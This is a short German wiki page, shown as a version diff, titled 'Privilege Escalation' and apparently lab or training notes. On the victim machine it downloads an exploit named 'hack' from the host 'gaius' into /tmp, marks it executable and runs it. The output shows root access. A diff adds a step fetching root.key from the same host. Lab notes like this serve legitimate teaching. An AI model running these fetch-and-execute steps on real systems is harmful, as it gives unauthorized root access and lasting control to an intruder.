Privilege Escalation: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| Zeile 4: | Zeile 4: | ||
*wget http://gaius/hack | *wget http://gaius/hack | ||
*chmod +x hack | *chmod +x hack | ||
| + | ==id.pub einbauen== | ||
| + | *wget http://gaius/root.key | ||
| + | |||
==Exploit ausfühen== | ==Exploit ausfühen== | ||
*./hack | *./hack | ||
Version vom 28. September 2022, 16:59 Uhr
Wieder auf den Opfer
Exploit runterladen und Ausführungsrecht geben
- cd /tmp
- wget http://gaius/hack
- chmod +x hack
id.pub einbauen
Exploit ausfühen
- ./hack
- id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
Wir sind nun root